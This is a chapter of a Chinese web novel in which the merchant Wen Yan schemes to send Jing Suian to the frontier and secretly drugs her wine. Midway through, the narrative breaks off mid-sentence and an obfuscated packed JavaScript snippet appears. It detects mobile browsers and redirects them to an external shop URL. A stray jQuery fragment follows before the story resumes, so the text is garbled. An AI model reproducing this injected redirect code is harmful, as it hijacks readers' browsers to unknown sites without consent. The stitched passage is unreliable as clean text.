营地外,鹤归行驻地内,赤那深夜前来,传达了景岁安的话后没有过多停留,对着一脸笑意的温衍翻了个白眼后就离开了。
温衍心情不错,对此并不在意,可坐在帐内的临安却按捺不住开口问道:“姐姐明天过来是什么意思?”
温衍转身回到帐中,坐回了矮榻上才开口回答道:“谁知道呢?”
看着临安不解的样子,温衍没有过多解释。并非他要卖关子,只是如今他也不敢说对景岁安了如指掌。营地内有景岁安亲自盯着,消息是打探不到的,但他却丝毫不着急,仍有闲心饮茶。
这可急坏了临安,“姐姐如今对我们格外冷淡,若她不答应去边境该怎么办?”
“不答应?”温衍手指摩挲着杯口淡淡地念着,杯中倒映出他讳莫如深的眼睛,他突然没头没尾地开口说道:“那不是冷淡。”
“什么?”临安茫然地问道。
温衍却笑了起来,他将茶杯放下后看向临安说道:“你以为我们对她而言什么?”
这个问题让临安沉思片刻才开口回答道:“故友?同伴?或者……是同路人?”
温衍挑眉,又问道:“那她对我们而言呢?”
临安脱口而出:“姐姐是我们必须守护的人,是唯一能带我们回家的人。”
两个问题,两个答案。临安自认为回答得没有问题,可温衍脸上的笑容却戛然而止,目光瞬间变得冰冷,让临安不自觉地缩了缩身子。
“临安,你跟了我这么多年,却还是只会看表面。”温衍的话说得很轻,话里的指责却很重,见他一脸的无措,温衍这才开口解释。
“我们对她而言是工具。”
“她对我们而言,亦是工具。”
温衍的语气轻柔,说得理所当然。可这答案却在临安的心中炸开,一瞬间毫无防备的柔软变得七零八碎,他猛地站了起来,身体僵硬,几乎是用吼来回应。
“你在说什么?!”
临安的激动在温衍的预料之中,丝毫没有惊扰他眼中的寂静。他微微抬头,脸上没有任何的表情,这明明是临安日日见到的样子,此刻却觉得毛骨悚然。
温衍微微弯起嘴角,带着嘲弄的笑意开口说道:“工具不好吗?比起那些虚无缥缈的情谊,互为工具的关系不是更加稳固吗?曾经我们身边最不缺的就是所谓的朋友,如今呢?”
他脸上的笑愈发扭曲,“就算是亲人也有背叛你的一天,如果没有也不过是利给得不够罢了。”
临安惊恐地睁大了眼睛,这话落在心里让他浑身不舒服,却找不到话来反驳。
他是跟着商队长大的,最是清楚商队中每一个人都背负着的东西,他自己也是其中一员。
他看着他们为了心中的目标而努力多年,听着他们诉说着对景岁安和温衍的感激,这些都不是假的,也并非温衍一句利用就能盖过的。
沉默片刻后,临安愤愤开口道:“衍哥,姐姐对我,不,是对我们而言并非工具。”
他突然快步靠近,一把握住了温衍冰凉的手,在温衍诧异的注视下认真地开口说道:“你对我而言也绝不是工具,你是我哥啊,是将我带大的哥哥啊!”
这一刻,临安的真挚散发出温暖的光,却锋利地刺痛了温衍的眼睛。他触电般抽出自己的手,脸上有一瞬露出了狼狈的错愕。他仿佛见到了许多年前的自己,那个没有被世事摧残过的年少的温行之。
他不知道此刻心中的钝痛是什么,甚至不知道该如何回应临安的温暖。他只是机械地勾起嘴角,用训练得挑不出毛病的声线回答他。
“你只是还不明白。”
他看到了临安眼中的失落,却告诉自己,那是愚蠢。在心底深处的角落,或许会有一丝羡慕,但这一点也被他归为愚蠢。
温行之或许可以愚蠢,但温衍不行。
他的眸光渐渐平息,他再一次变回了温衍,语气平静却拒人于千里,“去休息吧,准备好明天跟你的姐姐见面。”
临安无力地垂下了头,却依旧不死心地开口道:“哥,如果姐姐不愿意去边境,你能答应我尊重她的选择吗?”
温衍静静地看着他,没有直接回答。他似乎在踌躇,却又似早就有了决断。最终在临安急切的注视下,温衍轻笑着开口。
“我从不会违背对她许下的承诺。”
——
第二天午时,景岁安只身一人来到了鹤归行驻地。温衍带着临安早早地等在门口迎接,见到景岁安的瞬间,温衍不动声色地朝她身后看了一眼,在确定她的确一人前来后,露出笑容。
“记得你爱吃清淡的,我特意准备好了,还备了你爱吃的点心。”
他自然地开口,瞬间打破了僵持的局面,一旁的临安一脸的期待,却因第一次不顺利的见面而紧张无措,只敢小心地去看景岁安。
这一切都被景岁安看在眼里,她此刻任何细微的表情变化都会被这二人无限放大,所以她干脆不做任何表情,只点了点头,淡淡开口回应道:“嗯,进去说。”
走进帐篷,桌上已经准备好了丰盛的餐食,虽然食材有限,但依旧看得出温衍已经用心接近霁周的风味了,就连酒水都是商队特地从霁周带来的好酒,清香的味道只需一闻就足以勾起许多回忆。
温衍伸出手,温柔体贴地将椅子拉出来,对着景岁安道:“都是自己人,也不必拘谨了,落座吧。”
景岁安淡淡瞥了他一眼,眉眼始终难以舒展,她不喜欢温衍做出这副样子,有一种努力地贴近曾经模样的虚伪感,同时让她觉得心里酸涩。
因为他们都清楚,曾经的那两个人已经死了,无论如何模仿都成为不了那时的他们了。
临安的声音从身侧传来,打断了景岁安的思路,“姐姐,跟我一起坐吧。”
景岁安看过去,正对上临安亮闪闪的眼睛,带着小心翼翼的讨好,因为害怕被拒绝而微微闪动着。
“好。”她答应得爽快,不等临安反应,先一步走到了温衍对面的位置坐下,见临安没动,还贴心地问他:“不过来吗?”
临安这才反应过来,连忙快步上前,无视温衍半黑的脸,在景岁安身边的位置坐好。
他此举并非故意跟温衍对着干,只是对于昨晚温衍模棱两可的回答感到不安。
他猜不到温衍会做出什么,只能做好他力所能及的事。桌上的餐食都是他盯着做的,就连酒水也是他亲自去取来的。今日这场饭局,他作势要盯住温衍的一举一动。
温衍的脸只黑了一瞬,很快就恢复平静,他不以为意地坐下后,伸手去拿酒壶,还没碰到就听到景岁安开了口。
“既然你说了,都是自己人,那我有话也直说了。”景岁安的话直戳重点,“何时能启程去边境?”
此话一出,临安和温衍皆是一愣。临安怎么也想不到景岁安居然会答应得如此爽快,心中一喜。倒是温衍面上没有喜色,反倒是多了些疑虑。
“特勤答应了?”温衍做出惊讶的样子,实则窥探着景岁安眼中的变化。
景岁安轻笑一下开口道:“自不是那么容易的,考虑到你我的关系,我提议让你留下他才同意。”
“毕竟也要考虑到大可汗那边,你若擅自离开恐怕不好交代。”
景岁安说谎的造诣炉火纯青,她在得知赫卢那朔隐瞒自己出征一事起就大致猜到了他和温衍之间定发生了什么,若非温衍主动告知,赫卢那朔又怎会得知她与乌孙国的关系,自然也不可能选择瞒着她。
在想明白这些后,再看温衍此刻问的问题,景岁安心中只觉得可笑。演戏并非他温衍一人擅长,景岁安可以说是不分伯仲。
短短几句,四两拨千斤。
温衍琢磨着她的话,从她的表情到眼神都看不出有什么问题。她的回答的确像是认真考虑了鹤归行的处境,也符合他对赫卢那朔的了解。
他本就没打算亲自送景岁安去边境,却还是装出深思熟虑的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17896599|209170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
样子开口道:“你说得有理,只是此行毕竟牵扯京中势力,若不小心走漏风声你恐怕会有危险,我怎能放心交给他人?”
说完,温衍故意停顿片刻,余光扫到临安,此刻他眼睛一亮,目光焦急地在温衍和景岁安之间来回切换。终于没忍住,激动地开口提议道:“不如,让我跟姐姐去吧。”
见景岁安和温衍同时看了过来,临安紧张地吞了吞口水解释道:“边境我很熟悉,也跟着衍哥历练了这么久,我有自信!我一定好好保护姐姐!”
温衍等的就是他主动开口,却做犹豫状,先为难地看了景岁安一眼才说道:“能行吗?”
景岁安心中冷笑,温衍做的戏倒是与她猜测的无二。她犹豫片刻后才回答道:“临安是你一手培养的,我相信你的判断。”
“好。”温衍点点头,“除此之外我还会安排几个好手给你,定护你周全。”
他笑着拿起酒壶,为自己和景岁安倒好了酒,“既然决定好了,事不宜迟,明日就可出发。今天你我当畅饮,预祝此行一切顺利。”
临安疑惑地问:“我呢?我也想喝。”
温衍无奈一笑回答道:“你马上就要挑大梁了,怎么好喝酒呢。”
见临安后知后觉地点点头,温衍又开口吩咐道:“既然重任在身不如去准备吧,一定要做到万无一失。”
临安听罢是不想走的,看向身旁的景岁安,见她并无意见,哪怕心中不愿也只好起身离开。
走出帐篷,听到身后温衍和景岁安碰杯的声音,临安只能加快步伐眼不见为净。
“敬我们。”温衍笑着伸手送出酒杯。
景岁安也拿起酒杯轻轻碰了下,却笑不出来,只轻声回应道:“敬他们。”
她无需解释,温衍自然听得懂他们指的是谁,是那些早早离去,却一直无法闭眼直至今日还在盯着他们一举一动的人,这些人中有至亲至爱,有亲朋好友,还有从没见过的陌生人。
景岁安将他们背负,而温衍却无时无刻都想摆脱。
在他看来,他背负的只有几人罢了,除了家人外,还有景岁安。
看着景岁安将酒一饮而尽,他的目光愈发浑浊,其中掺杂的东西太多,就连他自己也难分清。
……
二人畅饮直至夜色降临,临安准备好的酒都喝得差不多了。
临安安排好了随行人员,准备好了马车和行李,再三确认一切无误后,他马不停蹄地赶回帐篷,刚刚跑进去,脚步瞬间定在原地。
温衍手中拿着一本书籍,正悠闲地坐在矮榻上。
餐桌上早就收拾干净,仿佛先前的一切都没发生过一般。
他心中隐隐不安,看向温衍的目光变得小心,开口询问声音都有些抖:“姐姐呢?”
温衍的眼睛慢慢地从书中抬了起来,目光相撞的瞬间弯起一个好看的弧度,他的手指向最里面的床榻。
床帐被放了下来,遮住了整张床,烛火昏暗,乍一看让临安起了一身鸡皮疙瘩,暗红的床帐在此刻像极了红木的棺材,阴森恐怖。
温衍的声音在此刻响起。
“小声些,她吃了安神药,正睡着呢。”
温衍此刻越是温柔,临安的腿就越软。他想不明白,脑袋昏沉疑问脱口而出:“怎么会?饭和酒都是我准备的。”
“所以呢?”温衍哼笑一声,“这里是谁的商队?把酒交给你的又是谁的手下?”
临安麻木地看着他,千言万语最终汇聚成一句话。
“姐姐已经答应了,为什么还要这样做?她醒来会怪你的。”
“不会的。”温衍笃定地说:“等她醒来已经在定北关了,我的人自然会看好她。若要怪我也得有底气不是吗?若我成了她唯一可以依靠的人呢?”
临安不可思议地睁大了眼睛。
温衍笑意更深了,一字一句道:“赫卢那朔死后,我就是她唯一可以依靠的人,她怎么会舍得怪我呢?”